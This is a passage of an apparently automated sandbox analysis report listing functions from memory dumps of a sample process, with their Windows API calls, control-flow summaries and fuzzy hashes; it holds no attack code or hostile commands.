                                                                                                                                                          • lstrlenA.KERNEL32(?), ref: 00401906
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
                                                                                                                                                          • GetLastError.KERNEL32 ref: 00401940
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3322701435-0
                                                                                                                                                          • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                          • Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
                                                                                                                                                          • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                          • Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8
                                                                                                                                                          Function 2F76BAC3 Relevance: 6.1, APIs: 4, Instructions: 131threadCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 1557 2f76bac3-2f76bb57 GetCurrentProcess 1562 2f76bb60-2f76bb94 GetCurrentThread 1557->1562 1563 2f76bb59-2f76bb5f 1557->1563 1564 2f76bb96-2f76bb9c 1562->1564 1565 2f76bb9d-2f76bbd1 GetCurrentProcess 1562->1565 1563->1562 1564->1565 1566 2f76bbd3-2f76bbd9 1565->1566 1567 2f76bbda-2f76bbf5 call 2f76bca1 1565->1567 1566->1567 1571 2f76bbfb-2f76bc2a GetCurrentThreadId 1567->1571 1572 2f76bc33-2f76bc95 1571->1572 1573 2f76bc2c-2f76bc32 1571->1573 1573->1572
                                                                                                                                                          APIs
                                                                                                                                                          • GetCurrentProcess.KERNEL32 ref: 2F76BB46
                                                                                                                                                          • GetCurrentThread.KERNEL32 ref: 2F76BB83
                                                                                                                                                          • GetCurrentProcess.KERNEL32 ref: 2F76BBC0
                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 2F76BC19
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475224957.000000002F760000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F760000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f760000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Current$ProcessThread
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2063062207-0
                                                                                                                                                          • Opcode ID: d911dd01fb2211e4d651bddd2f7195b98c60fbc3e7ce870b302f2137d62450f4
                                                                                                                                                          • Instruction ID: a2cfe4e9644ec36cf38a84f514bdc20c6b71cc2dd5b69ba67aa3bb5ecd2666a5
                                                                                                                                                          • Opcode Fuzzy Hash: d911dd01fb2211e4d651bddd2f7195b98c60fbc3e7ce870b302f2137d62450f4
                                                                                                                                                          • Instruction Fuzzy Hash: 225156B0900609CFDB04CFAAD588BDEBBF1AF89310F20852AD459A7360DB34A945CF65
                                                                                                                                                          Function 2F76BAC8 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 1580 2f76bac8-2f76bb57 GetCurrentProcess 1584 2f76bb60-2f76bb94 GetCurrentThread 1580->1584 1585 2f76bb59-2f76bb5f 1580->1585 1586 2f76bb96-2f76bb9c 1584->1586 1587 2f76bb9d-2f76bbd1 GetCurrentProcess 1584->1587 1585->1584 1586->1587 1588 2f76bbd3-2f76bbd9 1587->1588 1589 2f76bbda-2f76bbf5 call 2f76bca1 1587->1589 1588->1589 1593 2f76bbfb-2f76bc2a GetCurrentThreadId 1589->1593 1594 2f76bc33-2f76bc95 1593->1594 1595 2f76bc2c-2f76bc32 1593->1595 1595->1594
                                                                                                                                                          APIs
                                                                                                                                                          • GetCurrentProcess.KERNEL32 ref: 2F76BB46
                                                                                                                                                          • GetCurrentThread.KERNEL32 ref: 2F76BB83
                                                                                                                                                          • GetCurrentProcess.KERNEL32 ref: 2F76BBC0
                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 2F76BC19
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475224957.000000002F760000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F760000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f760000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Current$ProcessThread
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2063062207-0
                                                                                                                                                          • Opcode ID: 83cdd2b264e65ea7a554c0c405f1bc4cc10048d2db76d6d833523e9141d9e2fa
                                                                                                                                                          • Instruction ID: 89cb4c7174cc56d18e6f77c43cc1c09d4a2406cec38b24ce055784333a46ab63
                                                                                                                                                          • Opcode Fuzzy Hash: 83cdd2b264e65ea7a554c0c405f1bc4cc10048d2db76d6d833523e9141d9e2fa
                                                                                                                                                          • Instruction Fuzzy Hash: 295158B0900609CFDB04CFAAD588BDEBBF1AF89310F20C52AD449A7360DB34A945CF65
                                                                                                                                                          Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 1602 40af66-40af6e 1603 40af7d-40af88 call 40b84d 1602->1603 1606 40af70-40af7b call 40d2e3 1603->1606 1607 40af8a-40af8b 1603->1607 1606->1603 1610 40af8c-40af98 1606->1610 1611 40afb3-40afca call 40af49 call 40cd39 1610->1611 1612 40af9a-40afb2 call 40aefc call 40d2bd 1610->1612 1612->1611
                                                                                                                                                          APIs
                                                                                                                                                          • _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                            • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                            • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                            • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                          • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                                                                                                                                            • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                                                                                                                                          • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                                                                                                                                          • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1411284514-0
                                                                                                                                                          • Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
                                                                                                                                                          • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                                                                                                                                          • Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
                                                                                                                                                          • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                                                                                                                                          Function 2E5CE398 Relevance: 3.9, Strings: 3, Instructions: 153COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: @>[.$@>[.$@>[.
                                                                                                                                                          • API String ID: 0-3836779936
                                                                                                                                                          • Opcode ID: 792d66d15bac48864c458bae3dd4484b12bafd5c9acef85e2bc75b1d460d191a
                                                                                                                                                          • Instruction ID: 08a23790bc6c8a7c08e1587f3a239fa473e7f867c278ed93ff041ebcea02d94c
                                                                                                                                                          • Opcode Fuzzy Hash: 792d66d15bac48864c458bae3dd4484b12bafd5c9acef85e2bc75b1d460d191a
                                                                                                                                                          • Instruction Fuzzy Hash: 66611574D10218DFDB14DFA5C994AADBBB2FF88304F208529D809BB358DB759A46CF41
                                                                                                                                                          Function 2E5C7F18 Relevance: 2.8, Strings: 2, Instructions: 325COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 4'^q$4'^q
                                                                                                                                                          • API String ID: 0-2697143702
                                                                                                                                                          • Opcode ID: 18948edd81dcf2f0bf2863b8bb27ffc916fb61bd3572610ed2cabdb5f043b4db
                                                                                                                                                          • Instruction ID: e2a35feba7a749357448b251520a249f6ebe6c8b4a758fe1c098a20e74ad1300
                                                                                                                                                          • Opcode Fuzzy Hash: 18948edd81dcf2f0bf2863b8bb27ffc916fb61bd3572610ed2cabdb5f043b4db
                                                                                                                                                          • Instruction Fuzzy Hash: 71B170303249018FD7059BA9C978B3A3BD6EFA9740F1554AAE115CF3A1EA7DEC42C781
                                                                                                                                                          Function 2E5C4DB0 Relevance: 2.8, Strings: 2, Instructions: 275COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: Hbq$Hbq
                                                                                                                                                          • API String ID: 0-4258043069
                                                                                                                                                          • Opcode ID: bbe20291402a89c109e25fd0c83012f5742e8874f13331eef42ce2d19b14941f
                                                                                                                                                          • Instruction ID: 0bdd8fc7876f124741bf222b7f61beda61c7486d40bddf2111b1240746000cc5
                                                                                                                                                          • Opcode Fuzzy Hash: bbe20291402a89c109e25fd0c83012f5742e8874f13331eef42ce2d19b14941f
                                                                                                                                                          • Instruction Fuzzy Hash: BDA1DE307142409FDB059FA9C8A4E6E7BE2FF98301F159869E906CB395DB38DD42C792
                                                                                                                                                          Function 2F75DCD0 Relevance: 2.7, Strings: 2, Instructions: 241COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: LR^q$LR^q
                                                                                                                                                          • API String ID: 0-4089051495
                                                                                                                                                          • Opcode ID: fadbeeef24922b13a4e32ed86f05d1e9a4f524334e4bcb36298547608be3142e
                                                                                                                                                          • Instruction ID: 0d057e5f34d3b730aae332173fafefd2ac831fa18fa841e442a6a4a5dc4bd9bc
                                                                                                                                                          • Opcode Fuzzy Hash: fadbeeef24922b13a4e32ed86f05d1e9a4f524334e4bcb36298547608be3142e
                                                                                                                                                          • Instruction Fuzzy Hash: 8E81A134B141158FCB08DF79C89496E77F6FF89604B1181A9E90ADB3A6DB70EC02CB95
                                                                                                                                                          Function 2E5C5310 Relevance: 2.7, Strings: 2, Instructions: 240COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: ,bq$,bq
                                                                                                                                                          • API String ID: 0-2699258169
                                                                                                                                                          • Opcode ID: 8ab07ed980f2752c9a1b2ff638f666d5b33107c7e92845dd8da95950ce021650
                                                                                                                                                          • Instruction ID: 71494e4467268f8f120c084827a963d7cf1d6d2ac1ac7f5041efd483b7d7057a
                                                                                                                                                          • Opcode Fuzzy Hash: 8ab07ed980f2752c9a1b2ff638f666d5b33107c7e92845dd8da95950ce021650
                                                                                                                                                          • Instruction Fuzzy Hash: 4891E134B20505CFCB04CFE9C8A49AEB7F6FF99214B24A569E505DB365DB31E842CB90
                                                                                                                                                          Function 2F697520 Relevance: 2.7, Strings: 2, Instructions: 214COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: (&^q$(bq
                                                                                                                                                          • API String ID: 0-1294341849
                                                                                                                                                          • Opcode ID: e711f697a532979f0c7653327eb6014fe406e9de35dccb43180798d5e5d67cec
                                                                                                                                                          • Instruction ID: dce21fef0b237d18bf24471c30167e3ab6897f48adcc69711403a097ef1685ac
                                                                                                                                                          • Opcode Fuzzy Hash: e711f697a532979f0c7653327eb6014fe406e9de35dccb43180798d5e5d67cec
                                                                                                                                                          • Instruction Fuzzy Hash: 98717D31F102199BDB05DFB9C850AAEBBF2EF88740F148529E405AB380DF34AD46CB95
                                                                                                                                                          Function 2E5C8AC0 Relevance: 2.7, Strings: 2, Instructions: 151COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 4'^q$4'^q
                                                                                                                                                          • API String ID: 0-2697143702
                                                                                                                                                          • Opcode ID: 829ff36f6fbd49c3e98dcf4f0cfe5e538ad8da65713902565b4701491687facb
                                                                                                                                                          • Instruction ID: c717dffdf5ec7c28c81a5aee29d524ce679c3e7d4037f7a62662ed86ed34f34b
                                                                                                                                                          • Opcode Fuzzy Hash: 829ff36f6fbd49c3e98dcf4f0cfe5e538ad8da65713902565b4701491687facb
                                                                                                                                                          • Instruction Fuzzy Hash: A851D3707102049FD704DFA9C864B6ABBE6EF88314F14D466EA08CB356DB79ED41CB91
                                                                                                                                                          Function 2E5C9D49 Relevance: 2.6, Strings: 2, Instructions: 149COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: (o^q$(o^q
                                                                                                                                                          • API String ID: 0-1946778100
                                                                                                                                                          • Opcode ID: f009dc238248cb9c17cb6023625095b861850f3f807ce04bb8059d6b9dc691d0
                                                                                                                                                          • Instruction ID: b78a8efd2a74e2ec1e77794e88c772b9db5fa1d4d84bea9f22dde7a67226f3eb
                                                                                                                                                          • Opcode Fuzzy Hash: f009dc238248cb9c17cb6023625095b861850f3f807ce04bb8059d6b9dc691d0
                                                                                                                                                          • Instruction Fuzzy Hash: F141A2317142449FC7059BB9C864AAEBBF6BFC8710F14846AE916DB395CE35DC06C790
                                                                                                                                                          Function 2E5C2F20 Relevance: 2.6, Strings: 2, Instructions: 112COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: Xbq$Xbq
                                                                                                                                                          • API String ID: 0-1243427068
                                                                                                                                                          • Opcode ID: f5f3bec3bd8412a0f79b66e524845675406e2617bae5564f7a5892c99920d480
                                                                                                                                                          • Instruction ID: 61c2f2d12aa7fbc900a32e019b5f08dce69c5c6fae1fc7144b752c5d864e88db
                                                                                                                                                          • Opcode Fuzzy Hash: f5f3bec3bd8412a0f79b66e524845675406e2617bae5564f7a5892c99920d480
                                                                                                                                                          • Instruction Fuzzy Hash: E8318D3A72461D8BDB0C4AFA45B123EA2EAEBD9700F10843DE90AD3394DBB4CC4183D0
                                                                                                                                                          Function 2E5C0006 Relevance: 1.8, Strings: 1, Instructions: 570COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: LR^q
                                                                                                                                                          • API String ID: 0-2625958711
                                                                                                                                                          • Opcode ID: 40bfe60c87eb07273df8d1f8b2343fc0f1bf3894f35328b04d6908ada0bdabf0
                                                                                                                                                          • Instruction ID: 7631f80c60b0812fa67167d69019c3f08d6b070c70a48877dc94316451e8601a
                                                                                                                                                          • Opcode Fuzzy Hash: 40bfe60c87eb07273df8d1f8b2343fc0f1bf3894f35328b04d6908ada0bdabf0
                                                                                                                                                          • Instruction Fuzzy Hash: ED621A34A00619CFCB54DF68D984A9DBBB2FF48304F00C1A9D41AA7364DB74AE86CF90
                                                                                                                                                          Function 2E5C0040 Relevance: 1.8, Strings: 1, Instructions: 541COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: LR^q
                                                                                                                                                          • API String ID: 0-2625958711
                                                                                                                                                          • Opcode ID: 833bdc0c0805f7df2913c8ee7ba922c841e9a70a5c300f0a2413d8d8e03b313f
                                                                                                                                                          • Instruction ID: e81e44c19612124ab2cfa715bc1a925d8614c027d3344ab22a554ccd0404ab72
                                                                                                                                                          • Opcode Fuzzy Hash: 833bdc0c0805f7df2913c8ee7ba922c841e9a70a5c300f0a2413d8d8e03b313f
                                                                                                                                                          • Instruction Fuzzy Hash: AC52EA74A00619CFCB54DF64D984A9DBBB2FF48304F1081A9D41AA7364DB74AE86CF94
                                                                                                                                                          Function 2FE24419 Relevance: 1.7, APIs: 1, Instructions: 239COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleW.KERNEL32(?), ref: 2FE246AA
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4139908857-0
                                                                                                                                                          • Opcode ID: f90a8d08a6cb415b02d077903e65d301aa6db220e2800f4d0207f5fbeff2f032
                                                                                                                                                          • Instruction ID: 996c7a202578b5dc9e30b1c6816bae020fceae1bfe7204a2cacebc2b0875260d
                                                                                                                                                          • Opcode Fuzzy Hash: f90a8d08a6cb415b02d077903e65d301aa6db220e2800f4d0207f5fbeff2f032
                                                                                                                                                          • Instruction Fuzzy Hash: 82913570A00B499FDB25CF69D580B9ABBF1BF48304F00892AD48AE7751E735E946CF90
                                                                                                                                                          Function 2FE26B84 Relevance: 1.7, APIs: 1, Instructions: 187COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2FE26D51
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CreateWindow
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 716092398-0
                                                                                                                                                          • Opcode ID: 4b36976a1270a32fcd025cbf06ecf3229e0ddec107e9426a8b0d1231be7a90e7
                                                                                                                                                          • Instruction ID: 786d4464e719aca17bd086b1572f94f6507c764edc97716c8ec544d58f8e7ec8
                                                                                                                                                          • Opcode Fuzzy Hash: 4b36976a1270a32fcd025cbf06ecf3229e0ddec107e9426a8b0d1231be7a90e7
                                                                                                                                                          • Instruction Fuzzy Hash: 10716AB4D00218DFDB21DFA9D980ADDBBF1BB09304F1491AAE558A7221D730AA85CF55
                                                                                                                                                          Function 2FE26B90 Relevance: 1.7, APIs: 1, Instructions: 182COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2FE26D51
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CreateWindow
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 716092398-0
                                                                                                                                                          • Opcode ID: e383e0517328c7be066933585bced8a1129d9761ab2b19e6845abe1e1c341da2
                                                                                                                                                          • Instruction ID: 37deb56ed90ba4e2f3ad6f72afc52c88e1e4264a8c82ed80cd51ae94c7b1e492
                                                                                                                                                          • Opcode Fuzzy Hash: e383e0517328c7be066933585bced8a1129d9761ab2b19e6845abe1e1c341da2
                                                                                                                                                          • Instruction Fuzzy Hash: 51717AB4D00218DFDF21DFA9D980BDDBBF1BB09304F1091AAE558A7221D730AA85CF45
                                                                                                                                                          Function 2F76BD08 Relevance: 1.6, APIs: 1, Instructions: 113COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2F76BDDB
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475224957.000000002F760000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F760000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f760000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: DuplicateHandle
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3793708945-0
                                                                                                                                                          • Opcode ID: 5dd9522322398f22b33a563a04830b8b5fda433ef528d73c9201245d9c3acfaf
                                                                                                                                                          • Instruction ID: 98493b20cee1cc79c6c948ed14c1e816dd752f752d097df6f14190db549f9785
                                                                                                                                                          • Opcode Fuzzy Hash: 5dd9522322398f22b33a563a04830b8b5fda433ef528d73c9201245d9c3acfaf
                                                                                                                                                          • Instruction Fuzzy Hash: 474146B9D002589FCB10CFA9D984ADEBBF5BB19310F14906AE918BB310D335A945CF94
                                                                                                                                                          Function 2F76BD10 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2F76BDDB
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475224957.000000002F760000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F760000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f760000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: DuplicateHandle
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3793708945-0
                                                                                                                                                          • Opcode ID: 34cdff715aa5c630bc61a282f135ca35ec2a0bb58ee22e25511efa8cd44c7cce
                                                                                                                                                          • Instruction ID: 749c6aa23f188c0953eac520d02d31ea8446db1740fd70169f5285b081b331f9
                                                                                                                                                          • Opcode Fuzzy Hash: 34cdff715aa5c630bc61a282f135ca35ec2a0bb58ee22e25511efa8cd44c7cce
                                                                                                                                                          • Instruction Fuzzy Hash: 534145B9D002589FCB00CFA9D984ADEBBF5BB09310F14906AE918AB320D335A945CF94
                                                                                                                                                          Function 29A5EEE8 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • VirtualProtect.KERNEL32(?,?,?,?), ref: 29A5EF8C
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3461417184.0000000029A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29A50000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_29a50000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ProtectVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 544645111-0
                                                                                                                                                          • Opcode ID: 8140afe338192e40ff88a8459f5a4a48648d72c5fd7ae062ec90ee3d076e8069
                                                                                                                                                          • Instruction ID: 50cc532281eca22ac22c571d4d1077e75954b3ff4f9e3008bc4259ea5a36a603
                                                                                                                                                          • Opcode Fuzzy Hash: 8140afe338192e40ff88a8459f5a4a48648d72c5fd7ae062ec90ee3d076e8069
